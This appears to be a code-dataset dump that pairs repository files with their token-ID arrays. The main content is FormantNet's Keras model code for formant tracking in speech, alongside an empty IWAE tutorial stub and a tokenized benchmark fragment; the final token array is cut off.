29889, 25162, 29915, 13, 13, 18823, 10749, 353, 13449, 29889, 18823, 10749, 13, 13, 13, 1990, 853, 300, 29941, 29928, 7504, 332, 4135, 20841, 16580, 29898, 3946, 294, 29918, 1785, 16580, 29889, 29968, 18464, 20841, 16580, 1125, 13, 29871, 9995, 20841, 16580, 13600, 6987, 363, 501, 6779, 29941, 29928, 1904, 297, 12693, 294, 1213, 15945, 13, 13, 29871, 822, 4770, 2344, 12035, 1311, 29892, 13, 1669, 1962, 29918, 3972, 29901, 28379, 29961, 710, 29962, 353, 6213, 29892, 13, 1669, 3876, 29918, 1272, 29918, 3972, 29901, 28379, 29961, 710, 29962, 353, 6213, 29892, 13, 1669, 3579, 19290, 1125, 13, 1678, 9995, 29909, 23513, 770, 29889, 13, 13, 1678, 826, 3174, 29901, 13, 418, 1962, 29918, 3972, 29901, 3884, 988, 304, 1962, 321, 29889, 29887, 29889, 1480, 2066, 13, 418, 3876, 29918, 1272, 29918, 3972, 29901, 3884, 1090, 607, 304, 1106, 363, 8783, 13, 418, 3579, 19290, 29901, 11472, 4257, 6273, 29889, 910, 338, 4312, 304, 1207, 278, 13, 4706, 5823, 6375, 15878, 297, 1206, 2431, 29888, 24214, 8128, 901, 4257, 13, 4706, 6273, 1434, 13271, 278, 5823, 29889, 13, 1678, 9995, 13, 13, 1678, 7353, 29918, 23515, 353, 518, 348, 300, 29918, 26495, 29918, 1982, 29889, 7922, 29918, 348, 300, 29941, 29881, 29918, 15764, 29962, 13, 13, 1678, 396, 501, 6779, 29941, 29928, 1904, 297, 12693, 294, 1213, 15945, 13, 1678, 1583, 29889, 26495, 29918, 1445, 29918, 11037, 353, 501, 6006, 29918, 29911, 4717, 1177, 4214, 29918, 24483, 13, 1678, 1583, 29889, 14513, 29918, 1445, 29918, 11037, 353, 501, 6006, 29918, 29923, 8932, 29918, 24483, 13, 13, 1678, 396, 14402, 29898, 29882, 549, 29926, 348, 1859, 29875, 1125, 6204, 322, 671, 7258, 2295, 934, 2012, 29889, 13, 1678, 1583, 29889, 2917, 29918, 1445, 353, 501, 6006, 29918, 20387, 29931, 29918, 25903, 29918, 7724, 13, 1678, 2428, 29898, 29965, 1212, 29941, 29928, 7504, 332, 4135, 20841, 16580, 29892, 1583, 467, 1649, 2344, 12035, 13, 4706, 1962, 29918, 3972, 29922, 4905, 29918, 3972, 29892, 7353, 29918, 23515, 29922, 15581, 29918, 23515, 29897, 13, 13, 29871, 822, 903, 842, 29918, 1785, 16580, 29918, 16744, 29898, 1311, 29892, 7639, 29918, 978, 1125, 13, 1678, 9995, 3563, 24040, 6694, 4128, 363, 23513, 6987, 1213, 15945, 13, 1678, 383, 4375, 10749, 29889, 4299, 29918, 3972, 353, 1583, 3032, 657, 29918, 4299, 29918, 3972, 29898, 735, 15362, 29918, 978, 29897, 13, 1678, 383, 4375, 10749, 29889, 8513, 353, 525, 14968, 29915, 13, 1678, 383, 4375, 10749, 29889, 26495, 29918, 1445, 29918, 11037, 353, 1583, 29889, 26495, 29918, 1445, 29918, 11037, 13, 1678, 383, 4375, 10749, 29889, 14513, 29918, 1445, 29918, 11037, 353, 1583, 29889, 14513, 29918, 1445, 29918, 11037, 13, 1678, 383, 4375, 10749, 29889, 2917, 29918, 1445, 353, 1583, 29889, 2917, 29918, 1445, 13, 1678, 383, 4375, 10749, 29889, 29212, 29918, 2344, 29918, 1767, 353, 29871, 29900, 29889, 29900, 29900, 29900, 29900, 29945, 13, 1678, 383, 4375, 10749, 29889, 29212, 29918, 7099, 388, 29918, 10492, 353, 29871, 29900, 29889, 29945, 13, 1678, 383, 4375, 10749, 29889, 1022, 2878, 29879, 353, 29871, 29941, 13, 13, 29871, 732, 1785, 16580, 29918, 29893, 336, 22437, 29889, 12007, 29918, 15634, 29918, 15764, 13, 29871, 822, 903, 3389, 29918, 392, 29918, 12276, 29918, 1785, 16580, 29898, 1311, 29892, 13, 462, 18884, 7639, 29918, 978, 29901, 851, 29892, 13, 462, 18884, 1375, 29918, 562, 2764, 4135, 29901, 5785, 353, 501, 6006, 29941, 29928, 29918, 16173, 29918, 2477, 22484, 2477, 29979, 29892, 13, 462, 18884, 4236, 29918, 562, 2764, 4135, 29901, 5785, 353, 501, 6006, 29941, 29928, 29918, 12648, 29918, 2477, 22484, 2477, 29979, 29892, 13, 462, 18884, 4978, 29918, 710, 8963, 29901, 851, 353, 525, 29873, 3746, 742, 13, 462, 18884, 21502, 12168, 29901, 938, 353, 29871, 29896, 29900, 29892, 13, 462, 18884, 6576, 29901, 938, 353, 29871, 29900, 29892, 13, 462, 18884, 21502, 12168, 29918, 14811, 29918, 14513, 29879, 29901, 938, 353, 29871, 29896, 29892, 13, 462, 18884, 26688, 29901, 851, 353, 525, 7411, 29941, 29906, 742, 13, 462, 18884, 9025, 29918, 29916, 433, 29901, 6120, 353, 7700, 29892, 13, 462, 18884, 1065, 29918, 29872, 1875, 368, 29901, 6120, 353, 7700, 1125, 13, 1678, 9995, 6558, 29879, 322, 13676, 278, 23513, 2183, 278, 4944, 5285, 1213, 15945, 13, 1678, 8636, 353, 443, 300, 29918, 26495, 29918, 1982, 29889, 21111, 29918, 7529, 29898, 18823, 10749, 29897, 13, 1678, 13705, 353, 443, 300, 29918, 26495, 29918, 1982, 29889, 3258, 29918, 27691, 29918, 710, 8963, 29898, 7529, 29897, 13, 13, 1678, 1881, 29918, 29881, 1853, 353, 8636, 29889, 29881, 1853, 13, 1678, 565, 1881, 29918, 29881, 1853, 1275, 525, 7411, 29896, 29953, 29915, 470, 1881, 29918, 29881, 1853, 1275, 525, 1635, 3071, 29896, 29953, 2396, 13, 418, 8898, 353, 15886, 29889, 3946, 294, 29889, 29885, 11925, 29918, 17990, 2459, 29889, 735, 27910, 29889, 15644, 29898, 13, 3986, 525, 29885, 11925, 29918, 1635, 3071, 29896, 29953, 29915, 565, 1881, 29918, 29881, 1853, 1275, 525, 1635, 3071, 29896, 29953, 29915, 1683, 525, 29885, 11925, 29918, 7411, 29896, 29953, 1495, 13, 418, 15886, 29889, 3946, 294, 29889, 29885, 11925, 29918, 17990, 2459, 29889, 735, 27910, 29889, 842, 29918, 22197, 29898, 22197, 29897, 13, 13, 1678, 22663, 353, 6571, 13, 1678, 1369, 29918, 2230, 29918, 3471, 353, 931, 29889, 2230, 580, 13, 1678, 411, 13705, 29889, 6078, 7295, 13, 418, 443, 300, 29918, 4299, 353, 443, 300, 29918, 4299, 29918, 1982, 29889, 4282, 29918, 348, 300, 29918, 4299, 29898, 7529, 29897, 13, 418, 4955, 353, 443, 300, 29918, 26495, 29918, 1982, 29889, 14968, 29898, 13, 3986, 8636, 29892, 13705, 29892, 443, 300, 29918, 4299, 29892, 13, 3986, 2090, 312, 8789, 29889, 3846, 29898, 348, 300, 29918, 26495, 29918, 1982, 29889, 657, 29918, 14968, 29918, 24713, 29892, 8636, 511, 13, 3986, 2090, 312, 8789, 29889, 3846, 29898, 348, 300, 29918, 26495, 29918, 1982, 29889, 657, 29918, 14513, 29918, 24713, 29892, 8636, 876, 13, 13, 418, 22663, 1839, 562, 2764, 4135, 29918, 3332, 29918, 29896, 2033, 353, 4955, 29889, 18434, 1839, 791, 29918, 16414, 29918, 562, 2764, 4135, 2033, 14352, 29896, 29962, 13, 418, 22663, 1839, 26495, 29918, 562, 2764, 4135, 29918, 3332, 29918, 29896, 2033, 353, 4955, 29889, 18434, 1839, 16414, 29918, 562, 2764, 4135, 2033, 14352, 29896, 29962, 13, 1678, 10090, 29918, 2230, 29918, 3471, 353, 931, 29889, 2230, 580, 448, 1369, 29918, 2230, 29918, 3471, 13, 13, 1678, 2428, 29898, 29965, 1212, 29941, 29928, 7504, 332, 4135, 20841, 16580, 29892, 1583, 467, 29918, 12276, 29918, 1785, 16580, 29898, 13, 4706, 22663, 29892, 13, 4706, 10090, 29918, 2230, 29918, 3471, 29892, 13, 4706, 2246, 29918, 29896, 29918, 1195, 29922, 1195, 29918, 562, 2764, 4135, 29892, 13, 4706, 2246, 29918, 29896, 29918, 3317, 29922, 3317, 29918, 562, 2764, 4135, 29892, 13, 4706, 3001, 29918, 16175, 29918, 2311, 29922, 7529, 29889, 14968, 29918, 16175, 29918, 2311, 29897, 13, 13, 29871, 822, 903, 657, 29918, 4299, 29918, 3972, 29898, 1311, 29892, 4138, 29918, 978, 1125, 13, 1678, 736, 2897, 29889, 2084, 29889, 7122, 29898, 1311, 29889, 4905, 29918, 3972, 29892, 4138, 29918, 978, 29897, 13, 13, 29871, 732, 20348, 29918, 13239, 29889, 28213, 877, 13264, 29899, 4299, 29899, 29887, 7879, 1495, 13, 29871, 822, 23513, 29918, 29946, 29916, 29946, 29918, 29873, 3746, 29918, 1635, 29896, 29953, 29898, 1311, 1125, 13, 1678, 9995, 3057, 12693, 294, 1904, 411, 29871, 29946, 29916, 29946, 323, 7056, 29892, 285, 29886, 29896, 29953, 1213, 15945, 13, 1678, 7639, 29918, 978, 353, 525, 1785, 16580, 29918, 29946, 29916, 29946, 29918, 29873, 3746, 29918, 18091, 29896, 29953, 29915, 13, 1678, 1583, 3032, 14669, 580, 13, 1678, 1583, 3032, 842, 29918, 1785, 16580, 29918, 16744, 29898, 735, 15362, 29918, 978, 29897, 13, 1678, 1583, 3032, 3389, 29918, 392, 29918, 12276, 29918, 1785, 16580, 29898, 13, 4706, 7639, 29918, 978, 29922, 735, 15362, 29918, 978, 29892, 13, 4706, 26688, 2433, 1635, 3071, 29896, 29953, 742, 13, 4706, 4978, 29918, 710, 8963, 2433, 29873, 3746, 1495, 13, 13, 29871, 732, 20348, 29918, 13239, 29889, 28213, 877, 13264, 29899, 4262, 29899, 21789, 1495, 13, 29871, 822, 23513, 29918, 29946, 29916, 29946, 29918, 29873, 3746, 29918, 1635, 29896, 29953, 29918, 828, 381, 29898, 1311, 1125, 13, 1678, 9995, 3057, 12693, 294, 1904, 411, 29871, 29946, 29916, 29946, 323, 7056, 29892, 285, 29886, 29896, 29953, 322, 341, 5265, 29934, 9615, 1213, 15945, 13, 1678, 7639, 29918, 978, 353, 525, 1785, 16580, 29918, 29946, 29916, 29946, 29918, 29873, 3746, 29918, 18091, 29896, 29953, 29918, 828, 381, 29915, 13, 1678, 15886, 29889, 2917, 29889, 735, 27910, 29889, 12007, 29918, 828, 381, 29918, 18419, 580, 13, 1678, 1583, 3032, 14669, 580, 13, 1678, 1583, 3032, 842, 29918, 1785, 16580, 29918, 16744, 29898, 735, 15362, 29918, 978, 29897, 13, 1678, 1583, 3032, 3389, 29918, 392, 29918, 12276, 29918, 1785, 16580, 29898, 13, 4706, 7639, 29918, 978, 29922, 735, 15362, 29918, 978, 29892, 13, 4706, 26688, 2433, 1635, 3071, 29896, 29953, 742, 13, 4706, 4978, 29918, 710, 8963, 2433, 29873, 3746, 1495, 13, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 29871, 15886, 29889, 1688, 29889, 3396, 580, 13, 2 ]
04 - IWAE/vae.py
wrongu/vae-tutorial
5
1606667
<reponame>wrongu/vae-tutorial<gh_stars>1-10 import keras.backend as K from keras.engine import Model class IWAE(object): # YOUR CODE HERE class VAE(IWAE): # YOUR CODE HERE
[ 1, 529, 276, 1112, 420, 29958, 15866, 549, 29884, 29914, 1564, 29872, 29899, 12631, 29966, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 5215, 13023, 294, 29889, 27852, 408, 476, 13, 3166, 13023, 294, 29889, 10599, 1053, 8125, 13, 13, 13, 1990, 306, 12982, 29923, 29898, 3318, 1125, 13, 29937, 612, 22970, 4810, 2287, 379, 27267, 13, 13, 1990, 478, 16036, 29898, 29902, 12982, 29923, 1125, 13, 29937, 612, 22970, 4810, 2287, 379, 27267, 13, 2 ]
User/FN_model.py
NemoursResearch/FormantTracking
2
181522
<reponame>NemoursResearch/FormantTracking<filename>User/FN_model.py<gh_stars>1-10 #!/usr/bin/env python # coding: utf-8 # # FormantNet Model Functions # Functions used for defining, training, or using FormantNet models. # In[ ]: import tensorflow as tf import numpy as np import sys import os import glob from FN_data import getdata # ### Rescaling Model Output # The **rescale_params()** function takes the output of the model, which is typically on a scale of 0 to 1 or -1 to 1, and rescales it to the expected scale for formant parameters (e.g. 0-8000 Hz for frequencies). The minimum and maximum values allowed for each formant parameter type (frequency, bandwidth, and amplitude) can be adjusted by the user using the configuration file. The input scale depends on the output activation function of the model (TOP_ACTIVATION); we experimented with linear, tanh, softsign, and ReLU, but found that sigmoid usually works best. # # Notes: # * As defined by the use of the tf.split below, this function forces the output of the model to be in the order **F1 F2 F3 ... B1 B2 B3 ... A1 A2 A3 ....** (which may be subsequently rearranged by **track_files()**). # * If ReLU is used as the activation function, the formant maximum values defined by cfg.MAXFREQ, cfg.MAXBW, and cfg.MAXAMP will be ignored. If linear is used, both minima and maxima are ignored. # * This function is needed for evaluation and any future use of the model (see again **track_files()** below). # In[ ]: def get_rescale_fn(cfg): @tf.function(input_signature=(tf.TensorSpec(shape=[None, cfg.NPARAMS], dtype=tf.float32),)) def rescale_params(params): freqs, bws, amps = tf.split(params, [cfg.NSUM, cfg.NSUM, cfg.NFORMANTS], axis=-1) if cfg.TOP_ACTIVATION == 'sigmoid': #network produces values between 0 and 1 freqs = cfg.MINFREQ + (freqs * (cfg.MAXFREQ - cfg.MINFREQ)) bws = cfg.MINBW + (bws * (cfg.MAXBW - cfg.MINBW)) amps = cfg.MINAMP + (amps * (cfg.MAXAMP - cfg.MINAMP)) elif cfg.TOP_ACTIVATION == 'softsign' or cfg.TOP_ACTIVATION == 'tanh': #network produces values between -1 and 1 freqs = cfg.MINFREQ + ((freqs + 1.0) * ((cfg.MAXFREQ - cfg.MINFREQ) / 2.0)) bws = cfg.MINBW + ((bws + 1.0) * ((cfg.MAXBW - cfg.MINBW) / 2.0)) amps = cfg.MINAMP + ((amps + 1.0) * ((cfg.MAXAMP - cfg.MINAMP) / 2.0)) elif cfg.TOP_ACTIVATION == 'relu': #network produces values of 0 or greater freqs = freqs + cfg.MINFREQ bws = bws + cfg.MINBW amps = amps + cfg.MINAMP return freqs, bws, amps return rescale_params # ### Loss Function # # The functions used to compute the loss are defined here. We tried to write the code so that it could handle variations in sampling rate (SAMPLERATE), frequency range (from 0 to MAX_ANALYSIS_FREQ), number of formants (NFORMANTS), number of anti-formants (NZEROS), spectral resolution (SPECTRUM_NPOINTS), and the activation type of the final model output layer (TOP_ACTIVATION). For the TIMIT experiments, these were all set constant across all experiments: 16K sampling rate, 0-8K frequency range, 6 formants, 1 zero, 257-point spectra, sigmoid activation. # The **formant()** function takes the frequency **F** and bandwidth **B** of each formant predicted by the model, and generates a corresponding formant: an array of spectrum levels **h** at each frequency bin **f** in the spectrum range at the given resolution (see Eqn. (1) of the IS2021 paper). The **vtfn()** function weights these by their corresponding amplitude factors, and combines them (multiplying or dividing, corresponding to whether it's a pole or zero) to produce a linear-scale spectral envelope. # In[ ]: def get_vtfn_func(cfg): spec1 = tf.cast(np.linspace(0.0, cfg.MAX_ANALYSIS_FREQ, cfg.SPECTRUM_NPOINTS), dtype=tf.float32) @tf.function def formant(freq, bw, nres): fex = tf.expand_dims(freq, axis=-1) bex = tf.expand_dims(bw, axis=-1) bsq = bex**2 * 0.25 anum = fex**2 + bsq #spec1 = tf.cast(np.linspace(0.0, cfg.MAX_ANALYSIS_FREQ, cfg.SPECTRUM_NPOINTS), dtype=tf.float32) spec2 = tf.tile(spec1, [tf.size(freq)]) spec = tf.reshape(spec2, [-1, nres, cfg.SPECTRUM_NPOINTS]) negspec = (spec - fex)**2 + bsq posspec = (spec + fex)**2 + bsq formants = anum / tf.math.sqrt(negspec * posspec) return(formants) #Note that vtfn returns a LINEAR-scale spectrum if cfg.NZEROS == 0: @tf.function def vtfn(freqs, bws, amps): ax = tf.expand_dims(amps, axis=-1) ax = 10.0 ** (ax / 20.0) #convert log amplitudes to linear specs = formant(freqs, bws, cfg.NFORMANTS) sumspec = tf.reduce_sum(ax * specs, axis = -2) return sumspec else: @tf.function def vtfn(freqs, bws, amps, zfreqs, zbws): ax = tf.expand_dims(amps, axis=-1) ax = 10.0 ** (ax / 20.0) #convert log amplitudes to linear fspecs = ax * formant(freqs, bws, cfg.NFORMANTS) sumspecs = tf.reduce_sum(fspecs, axis = -2, keepdims=True) zspecs = 1.0 / formant(zfreqs, zbws, cfg.NZEROS) allspecs = tf.concat([sumspecs, zspecs], axis = -2) prodspecs = tf.reduce_prod(allspecs, axis = -2) return prodspecs return vtfn # Finally, the model loss is calculated with **custom_loss()**. First, the batch and sequence dimensions are collapsed. Then the input model parameters are rescaled with **rescale_params()**. The formants are split into poles and zeros, and sent to **vtfn()** to compute a linear-scale spectral envelope. The envelope is then converted to decibel scale, and the spectral loss is calculated as the mean square difference between the generated envelope and the original envelope. # If Delta-Frequency Loss (added loss equal to variation in predicted formant frequency over time) is being used, it is also calculated here, weighted by the **DIFFWEIGHT** parameter, and added to the spectral loss to get the final loss. (We also experimented with using delta-loss with bandwidths and amplitudes, but those experiments have been unsuccessful so far.) # In[ ]: def get_custom_loss(cfg, rescale_params, vtfn): if cfg.NZEROS == 0: @tf.function(input_signature=(tf.TensorSpec(shape=[None, None, cfg.SPECTRUM_NPOINTS], dtype=tf.float32), tf.TensorSpec(shape=[None, None, cfg.NPARAMS], dtype=tf.float32))) def custom_loss(specs_input, params_pred): specs_input = tf.reshape(specs_input, [-1, cfg.SPECTRUM_NPOINTS]) params_pred = tf.reshape(params_pred, [-1, cfg.NPARAMS]) freqs, bws, amps = rescale_params(params_pred) specs_pred = vtfn(freqs, bws, amps) specs_pred = 20.0 * tf.math.log(cfg.FLOOR + specs_pred) / tf.math.log(10.0) mse = tf.math.reduce_mean(tf.square(specs_input - specs_pred)) #loss over whole batch fdiff = tf.math.reduce_mean(tf.abs(freqs[1:] - freqs[:-1])) #bdiff = tf.math.reduce_mean(tf.abs(bws[1:] - bws[:-1])) #adiff = tf.math.reduce_mean(tf.abs(amps[1:] - amps[:-1])) #return (mse + cfg.DIFFWEIGHT * (fdiff + bdiff + 25.0 * adiff)) return (mse + cfg.DIFFWEIGHT * fdiff) else: @tf.function(input_signature=(tf.TensorSpec(shape=[None, None, cfg.SPECTRUM_NPOINTS], dtype=tf.float32), tf.TensorSpec(shape=[None, None, cfg.NPARAMS], dtype=tf.float32))) def custom_loss(specs_input, params_pred): specs_input = tf.reshape(specs_input, [-1, cfg.SPECTRUM_NPOINTS]) params_pred = tf.reshape(params_pred, [-1, cfg.NPARAMS]) freqs, bws, amps = rescale_params(params_pred) pfreqs, zfreqs = tf.split(freqs, [cfg.NFORMANTS, cfg.NZEROS], axis=-1) pbws, zbws = tf.split(bws, [cfg.NFORMANTS, cfg.NZEROS], axis=-1) specs_pred = vtfn(pfreqs, pbws, amps, zfreqs, zbws) specs_pred = 20.0 * tf.math.log(cfg.FLOOR + specs_pred) / tf.math.log(10.0) mse = tf.math.reduce_mean(tf.square(specs_input - specs_pred)) #loss over whole batch fdiff = tf.math.reduce_mean(tf.abs(freqs[1:] - freqs[:-1])) #bdiff = tf.math.reduce_mean(tf.abs(bws[1:] - bws[:-1])) #adiff = tf.math.reduce_mean(tf.abs(amps[1:] - amps[:-1])) #return (mse + cfg.DIFFWEIGHT * (fdiff + bdiff + 25.0 * adiff)) return (mse + cfg.DIFFWEIGHT * fdiff) return custom_loss # ### Model definition # # **define_model()** defines the model's architecture, loss function, and optimizer before compiling it, then prints summary statistics. In our TIMIT experiments, we produced the best results with just a single LSTM layer of 512 units followed by a single Dense layer, but the user may experiment with adding more layers of either type, and changing their sizes and activation functions, via the provided configuration file. The LEARNING_RATE used by the Adam optimizer can also be adjusted (default 0.0001). # In[ ]: def define_model(cfg): #Definition of model architecture: model = tf.keras.Sequential() model.add(tf.keras.Input(shape=(None, cfg.SPECTRUM_NPOINTS))) for i in range(cfg.LSTM_LAYERS): model.add(tf.keras.layers.LSTM(cfg.LSTM_UNITS, return_sequences=True)) for i in range(cfg.DENSE_LAYERS - 1): model.add(tf.keras.layers.Dense(cfg.DENSE_UNITS, activation=cfg.DENSE_ACTIVATION)) model.add(tf.keras.layers.Dense(cfg.NPARAMS, activation=cfg.TOP_ACTIVATION)) #Here the model's loss function is defined before the model is compiled. rescale_params = get_rescale_fn(cfg) myvtfn = get_vtfn_func(cfg) myloss = get_custom_loss(cfg, rescale_params, myvtfn) model.compile( optimizer=tf.keras.optimizers.Adam(cfg.LEARNING_RATE), loss=myloss, metrics=[myloss] ) #Summary statistics: print("\nModel input shape: ({}, {}, {})".format(cfg.BATCH_SIZE, cfg.SEQUENCE_LENGTH, cfg.SPECTRUM_NPOINTS)) print("Model output shape: ({}, {}, {})".format(cfg.BATCH_SIZE, cfg.SEQUENCE_LENGTH, cfg.NPARAMS)) model.summary() sys.stdout.flush() return model # ### Model training # **train_model()** does the model training. During training, the model weights are saved after every epoch that produces a validation loss lower than that of any previous epoch. Models are trained until the best validation loss has not improved after cfg.PATIENCE epochs, or a maximum of cfg.EPOCHS epochs. If there is no validation set, the training set loss is used for monitoring instead. # If ALLOW_RETRAIN is True and there is at least one pre-existing model in the model directory, the newest saved model will be reloaded, and training will pick up where it left off with that model. # The non-best models are deleted, unless DELETE_OLDER_MODELS is set to False. # In[ ]: def train_model(model, modeldir, cfg, train_dset, val_dset=None): checkpoints = glob.glob(modeldir + "/*.index") if len(checkpoints) > 0 and cfg.ALLOW_RETRAIN and not cfg.TESTRUN: latest = tf.train.latest_checkpoint(modeldir) model.load_weights(latest) print("\nReloading pre-existing model", latest, "for further training.") last_epoch = int(latest[-3:]) else: last_epoch = 0 if val_dset is None: mymonitor = 'custom_loss' else: mymonitor = 'val_custom_loss' model_checkpoint_callback = tf.keras.callbacks.ModelCheckpoint( filepath=modeldir + "/model.epoch{epoch:03d}", save_best_only=True, save_weights_only=True, monitor=mymonitor, mode='min') early_stopping_callback = tf.keras.callbacks.EarlyStopping( patience=cfg.PATIENCE, monitor=mymonitor, mode='min') if cfg.TESTRUN: Verbosity = 1 else: Verbosity = 2 print("\nBegin training:") sys.stdout.flush() model.fit(train_dset, epochs=cfg.EPOCHS, initial_epoch=last_epoch, validation_data=val_dset, verbose=Verbosity, callbacks=[model_checkpoint_callback, early_stopping_callback]) sys.stdout.flush() if cfg.DELETE_OLDER_MODELS: print("\nDeleting non-best models....") latest = tf.train.latest_checkpoint(modeldir) for i in glob.glob(modeldir + "/model.epoch*"): if not i.startswith(latest): #print("Deleting", i) os.remove(i) # ### Generating formant tracks on test files # # The **track_files()** function runs a trained model on a list of wavefiles, generating formant measurements every cfg.FRAME_STRIDE_MSEC milliseconds (5 msec by default). These measurements are saved in text files, with one output line for every frame. The columns of the output file consist of the following in order: the filename, the time point in milliseconds, and then the total number of resonances (poles plus zeros). This is followed by the parameters (frequency, bandwidth, and amplitudes, in that order) of the poles, in order of increasing mean frequency, and then those of the zeros, in order of increasing mean absolute frequency. By default, the frequencies are listed first, then bandwidths, then amplitudes (i.e. F1 F2 F3 ... B1 B2 B3 ... etc.), but this can be switched to an interleaved ordering, i.e. F1 B1 A1, F2 B2 A2, etc., by setting the configuration parameter FREQUENCIES_FIRST to False. # # The names and locations of these output text files depend on whether an output directory name is provided. If so, Then all of the output text files are stored in this directory. To prevent name collisions, the output filename is derived from by converting all slashes in the input pathname to underscores -- but to shorten the names, any initial part of the input path that is common to all of the files is left out. As an illustration, the following example shows the corresponding output names for a list of 3 input files: # # timit/test/dr1/faks0/sa1.wav -> outdir/dr1_faks0_sa1.txt # timit/test/dr1/faks0/sa2.wav -> outdir/dr1_faks0_sa2.txt # timit/test/dr2/fcmr0/sa1.wav -> outdir/dr2_fcmr0_sa1.txt # # On the other hand, if an output directory name is **not** provided, then each output file is written to the same directory as the corresponding input file, with the same name as the wavefile but a different extension (.txt). # # In either case, the file extension can be changed via the configuration file (OUT_EXT). # # Other notes: # * Since there is nothing in the custom loss code above that distinguishes one formant from another (aside from poles versus zeros), and any of them can take frequency values between MINFREQ and MAXFREQ, the model output neurons may generate the formants in any random order (although that order will be constant from one frame to the next; e.g. if neuron 3 generates F1 for one frame, it does so for all frames and files). track_files() reorders the formants by their mean frequencies over all frames. # * track_files() changes the frequencies of the antiformants (zeros) to negative values, to distinguish them from the poles. Also, since the antiformants don't have their own amplitude correction factors, a placeholder value of "1.0" is inserted. # * For output interpretation, it's important to remember that the initial "amplitudes" generated by the model are not actually final formant amplitudes, but rather weighting factors that are used to adjust the initial formant amplitudes generated by formant(). By default, track_files() attempts to convert these weighting factors to "real" formant amplitude estimates (but see README for more information). This behavior can be changed to generate the original weighting factors by changing the configuration parameter REAL_AMPLITUDES to False. # * Unlike the python scripts in IS2021/ and PaPE2021/, track_files() also performs the final binomial smoothing of the output parameters; the number of smoothing passes is controlled by BIN_SMOOTH_PASSES (default 10). # In[ ]: def track_files(testlist, model, trmean, trstd, cfg, outdir=None): import time start_time = time.perf_counter() rescale_params = get_rescale_fn(cfg) if outdir is not None: os.makedirs(outdir, exist_ok=True) #Determine how much of the directory path is common to all test files y = [i.split("/") for i in testlist] n_common_prefixes = 0 b = 0 for i in y[0]: for j in y[1:]: if (j[n_common_prefixes] != i): b = 1 break if b == 1: break else: n_common_prefixes += 1 print("\nGenerating", len(testlist), "output files:") for filename in testlist: #Determine output directories and filenames if filename.endswith(".wav"): shortname = filename.rsplit(".", 1)[0] else: shortname = filename if outdir is None: outname = shortname + '.' + cfg.OUT_EXT else: shortname = "_".join(shortname.split("/")[n_common_prefixes:]) outname = outdir + "/" + shortname + '.' + cfg.OUT_EXT print(filename, " -> ", outname) sys.stdout.flush() #Note that we feed the files one at a time to getdata() lenf, f1 = getdata([filename], cfg, verbose=0) #Again, the input data must be normalized by the training set statistics f2 = (f1 - trmean) / trstd #Add a third (batch) dimension so that frame sequence can be read directly by model f2 = tf.expand_dims(f2, axis=0) #Generate formant predictions y = model.predict(f2)[0] # Rescale and reorganize output f, b, a = rescale_params(y) zf = f.numpy() za = a.numpy() zb = b.numpy() # Convert antiformant frequencies to negative numbers, and # insert placeholder "1.0" for antiformant amplitudes. # Then sort formants and antiformants separately by increasing frequency. if cfg.NZEROS > 0: fp, f0 = tf.split(zf, [cfg.NFORMANTS, cfg.NZEROS], axis=-1) f0 = f0 * -1.0 zf = tf.concat([fp, f0], axis=-1) a0 = tf.ones([za.shape[0], cfg.NZEROS], dtype=tf.float32) za = tf.concat([za, a0], axis=-1) ord1 = np.hstack((np.argsort(np.mean(fp, axis=0)), (np.flip(np.argsort(np.mean(f0, axis=0)) + cfg.NFORMANTS)))) else: ord1 = np.argsort(np.mean(np.abs(zf),axis=0)) # Convert amplitude adjustment factors to true estimates of amplitudes if cfg.REAL_AMPLITUDES: za2 = 10.0 ** (za / 20.0) zf2 = zf ** 2.0 zb2 = (zb ** 2.0) / 4.0 num = za2 * (zf2 + zb2) den = ((4.0 * zb2 * zf2) + (zb2 ** 2.0)) ** 0.5 rat = num / den za = 20.0 * np.log10(cfg.FLOOR + rat) # Sort parameters in the order F1 F2 F3 ... B1 B2 B3 ... A1 A2 A3 ... if cfg.FREQUENCIES_FIRST: ord2 = [i for i in ord1] + [i+cfg.NSUM for i in ord1] + [i+cfg.NSUM*2 for i in ord1] # Otherwise output in order F1 B1 A1 F2 B2 A2 F3 B3 A3 ... else: p = [(i, i+cfg.NSUM, i+(cfg.NSUM*2)) for i in ord1] ord2 = sum(p, ()) # Do binomial smoothing of output, if any zp = np.hstack((zf, zb, za)) for i in range(cfg.BIN_SMOOTH_PASSES): zp = np.vstack((0.75*zp[0] + 0.25*zp[1], 0.5*zp[1:-1,] + 0.25*zp[2:,] + 0.25*zp[:-2,], 0.75*zp[-1] + 0.25*zp[-2])) # Write to output file out1 = zp[:,ord2] ff = open(outname, "w") for i in range(out1.shape[0]): ff.write("{} {:.1f} {} ".format(shortname, i * cfg.FRAME_STRIDE_MSEC, cfg.NSUM)) out1[i,:].tofile(ff, sep=" ", format="%.2f") ff.write(" \n") ff.close() t = time.perf_counter() - start_time print("Total tracking time: {:.2f} min ({:.2f} sec/file)".format(t/60.0, t/len(testlist))) # ## Code bebugging # In[ ]: if __name__ == "__main__": import FN_configuration cfg = FN_configuration.configuration() cfg.configure(None) model = define_model(cfg)
[ 1, 529, 276, 1112, 420, 29958, 29940, 331, 2470, 1666, 2842, 29914, 2500, 424, 17936, 292, 29966, 9507, 29958, 2659, 29914, 29943, 29940, 29918, 4299, 29889, 2272, 29966, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 29937, 14708, 4855, 29914, 2109, 29914, 6272, 3017, 13, 29937, 14137, 29901, 23616, 29899, 29947, 13, 13, 29937, 396, 3812, 424, 6779, 8125, 6680, 29879, 13, 13, 29937, 6680, 29879, 1304, 363, 16184, 29892, 6694, 29892, 470, 773, 3812, 424, 6779, 4733, 29889, 13, 13, 29937, 512, 29961, 4514, 29901, 13, 13, 13, 5215, 26110, 408, 15886, 13, 5215, 12655, 408, 7442, 13, 5215, 10876, 13, 5215, 2897, 13, 5215, 13149, 13, 13, 3166, 383, 29940, 29918, 1272, 1053, 679, 1272, 13, 13, 13, 29937, 835, 2538, 1052, 292, 8125, 10604, 13, 29937, 450, 3579, 690, 29883, 744, 29918, 7529, 580, 1068, 740, 4893, 278, 1962, 310, 278, 1904, 29892, 607, 338, 12234, 373, 263, 6287, 310, 29871, 29900, 304, 29871, 29896, 470, 448, 29896, 304, 29871, 29896, 29892, 322, 620, 1052, 267, 372, 304, 278, 3806, 6287, 363, 883, 424, 4128, 313, 29872, 29889, 29887, 29889, 29871, 29900, 29899, 29947, 29900, 29900, 29900, 379, 29920, 363, 29511, 467, 450, 9212, 322, 7472, 1819, 6068, 